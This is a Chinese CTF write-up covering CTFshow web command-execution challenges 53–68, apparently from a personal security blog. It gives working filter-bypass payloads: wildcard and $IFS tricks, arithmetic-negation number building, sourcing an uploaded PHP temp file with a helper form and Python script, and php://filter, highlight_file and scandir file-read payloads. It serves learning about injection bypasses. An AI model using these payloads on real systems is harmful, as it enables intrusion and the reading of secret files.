前言
好,继续冲
![图片[1],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120012426861.png?imageView2/0/format/webp/q/75)
Web53
![图片[2],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120012715643.png?imageView2/0/format/webp/q/75)
过滤了很多,默认system输入的是返回值而不是结果值
?c=ta''c${IFS}fla?.php
![图片[3],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120014142919.png?imageView2/0/format/webp/q/75)
Web54
![图片[4],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120014716948.png?imageView2/0/format/webp/q/75)
过滤很多 tac被过滤了
但是cp和mv都没被过滤
?c=cp${IFS}fla?.php${IFS}t.txt
![图片[5],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120040956716.png?imageView2/0/format/webp/q/75)
Web55(熟悉掌握三种方法)
![图片[6],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120041401298.png?imageView2/0/format/webp/q/75)
看似过滤的少,实际上砍到大动脉了 因为过滤了a-z
方法一:
我们可以用来把flag.php的内容转为base64并且进行解码
过滤了a-z我们之间?代替 数字没被禁数字之外的用?等价代替
我们的命令本来是?c=/bin/base64 flag.php
转换后则是
?c=/???/????64 ????.???
解码即出
![图片[7],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120053827778.png?imageView2/0/format/webp/q/75)
方法二:
还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩
?c=/???/???/????2 ????.???
然后 最后访问 /flag.php.bz2进行下载压缩包
![图片[8],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120054306771.png?imageView2/0/format/webp/q/75)
![图片[9],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120054408997.png?imageView2/0/format/webp/q/75)
方法三:
这个方法最逆天了
我们知道在linux中./你的文件名.后缀 是可以执行脚本文件的
然而这个靶没有过滤.和/ 我们就可以上传文件进行执行
制作一个POST表单
我们知道php上传文件会临时储存在/tmp/phpXXXXX里大都是时一共是八位数000
![图片[10],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120081550997.png?imageView2/0/format/webp/q/75)
代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://397b0d14-e767-4f60-be9d-4f74a60155d5.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
![图片[11],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120055115306.png?imageView2/0/format/webp/q/75)
![图片[12],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120055310945.png?imageView2/0/format/webp/q/75)
我们进行抓包改数据
发送到重放器里
/?c=.%20/???/????????[@-[]
![图片[13],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120065226150.png?imageView2/0/format/webp/q/75)
ok拿flag
![图片[14],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120065303162.png?imageView2/0/format/webp/q/75)
Web56
![图片[15],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120070033402.png?imageView2/0/format/webp/q/75)
web56把0-9给过滤了
所以55的前两种方法都不能用 但是第三种逆天的方法是可以用的
/?c=.%20/???/????????[@-[]
![图片[16],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120070733303.png?imageView2/0/format/webp/q/75)
方法二:
python脚本 (ctfshow的wp)
把地址填成自己的 godyu.txt里面写cat flag.php
import time
import requests
url = "http://2721d06e-62f6-413e-a90c-79f6c9b21c60.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}
with open('.\\godyu.txt','r') as file:
files = {'file': file}
while 1:
r = requests.post(url,params=payload,files=files)
if r.text:
print("\n" + r.text)
break
time.sleep(1)
print(".", end=' ',flush=True)
![图片[17],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120081233127.png?imageView2/0/format/webp/q/75)
Web57
![图片[18],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120142005804.png?imageView2/0/format/webp/q/75)
过滤的更多了 但flag是在36.php
我们想办法弄出来36
这题可变态来着、
在linux里我们输出$(())
![图片[19],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120142715312.png?imageView2/0/format/webp/q/75)
所以$(())代表就是0
我们使用二进制取反如果是正数的话1取反得到0 0取反得到1
在二进制里计算二进制通常取消取反算原码补码什么的(可惜域是软工专业不是计算机专业)不过也了解一些底层原理
对于正整数,取反运算的结果是其本身加1的负数;对于负整数,取反运算的结果是其本身加1的绝对值;对于0,取反运算的结果是-1;对于-1,取反运算的结果是0。
![图片[20],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120142821317.png?imageView2/0/format/webp/q/75)
-0再次取反得-1
![图片[21],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120143553249.png?imageView2/0/format/webp/q/75)
在套娃
![图片[22],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120143637104.png?imageView2/0/format/webp/q/75)
在套娃
![图片[23],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120143704381.png?imageView2/0/format/webp/q/75)
我们放37个这个$(())这个玩意取反就能得到36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
![图片[24],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120143927361.png?imageView2/0/format/webp/q/75)
打payload
![图片[25],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120144059310.png?imageView2/0/format/webp/q/75)
![图片[26],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120144114651.png?imageView2/0/format/webp/q/75)
查看源代码就可以出
到这里域感觉都有点打不动的感觉哈哈,,,,
Web58
![图片[27],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120144950668.png?imageView2/0/format/webp/q/75)
别看传的少,后台禁止了很多函数
我们试一下phpinfo();
![图片[28],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120144935874.png?imageView2/0/format/webp/q/75)
被禁止了
system也被禁止了
方法一:
使用远程包含
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
![图片[29],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120145319380.png?imageView2/0/format/webp/q/75)
解码一下
![图片[30],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120145346812.png?imageView2/0/format/webp/q/75)
方法二:
读取文件
c=echo file_get_contents('flag.php');
查看一下源代码就出
![图片[31],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120145704689.png?imageView2/0/format/webp/q/75)
汗流浃背了
Web59
![图片[32],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120145948563.png?imageView2/0/format/webp/q/75)
跟上一题一样 但禁用的函数没有说
![图片[33],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120145931793.png?imageView2/0/format/webp/q/75)
file_get_contents函数已经被禁止了
但include没有禁止
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
继续打
![图片[34],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120150306876.png?imageView2/0/format/webp/q/75)
Web60
![图片[35],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120150632588.png?imageView2/0/format/webp/q/75)
与上关一样
c=highlight_file("flag.php");
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
都可以打通
![图片[36],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120150843906.png?imageView2/0/format/webp/q/75)
Web61
![图片[37],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151023582.png?imageView2/0/format/webp/q/75)
c=highlight_file("flag.php");
还是直接打通
![图片[38],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151100735.png?imageView2/0/format/webp/q/75)
Web62
![图片[39],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151310170.png?imageView2/0/format/webp/q/75)
c=highlight_file("flag.php");
还是能打通
![图片[40],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151344654.png?imageView2/0/format/webp/q/75)
Web63
![图片[41],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151754266.png?imageView2/0/format/webp/q/75)
服了还是上关payload
c=highlight_file("flag.php");
![图片[42],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151826667.png?imageView2/0/format/webp/q/75)
当然这几关远程包含或者其他方式都可以
c=show_source("flag.php");
![图片[43],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120151851961.png?imageView2/0/format/webp/q/75)
Web64
![图片[44],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152023937.png?imageView2/0/format/webp/q/75)
上一关payload继续打
![图片[45],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152114492.png?imageView2/0/format/webp/q/75)
Web65
![图片[46],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152211652.png?imageView2/0/format/webp/q/75)
不会吧不会吧….家人们谁懂啊
上一关的继续打
![图片[47],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152304817.png?imageView2/0/format/webp/q/75)
直接拿
Web66
![图片[48],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152354518.png?imageView2/0/format/webp/q/75)
可以可以show_source被禁止了
![图片[49],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152429589.png?imageView2/0/format/webp/q/75)
我们在看看
![图片[50],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152526568.png?imageView2/0/format/webp/q/75)
反过来看题目给的提示
![图片[51],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152636233.png?imageView2/0/format/webp/q/75)
看来是真被秀了一波
print_r回显 echo是不会显的
scandir读取/根目录以及子目录的信息
c=print_r(scandir("/"));
![图片[52],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120152931560.png?imageView2/0/format/webp/q/75)
好在秀一波吧
c=highlight_file("../../../../../flag.txt");
![图片[53],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153006334.png?imageView2/0/format/webp/q/75)
Web67
![图片[54],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153059849.png?imageView2/0/format/webp/q/75)
扣6
![图片[55],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153146124.png?imageView2/0/format/webp/q/75)
查看目录发现print_r被禁止了
![图片[56],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153223715.png?imageView2/0/format/webp/q/75)
不一定非得用print_r var_dump也可以使用
c=var_dump(scandir("/"));
![图片[57],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153419490.png?imageView2/0/format/webp/q/75)
拿
c=highlight_file('/flag.txt');
![图片[58],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153620792.png?imageView2/0/format/webp/q/75)
Web68
![图片[59],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153812877.png?imageView2/0/format/webp/q/75)
打开一看只有一句话
列目录
c=var_dump(scandir("/"));
![图片[60],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120153856582.png?imageView2/0/format/webp/q/75)
file_get_contents被禁用
![图片[61],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120154037802.png?imageView2/0/format/webp/q/75)
我们看看include
没被禁
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt
![图片[62],[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/01/20240120154326646.png?imageView2/0/format/webp/q/75)
OK结束
暂无评论内容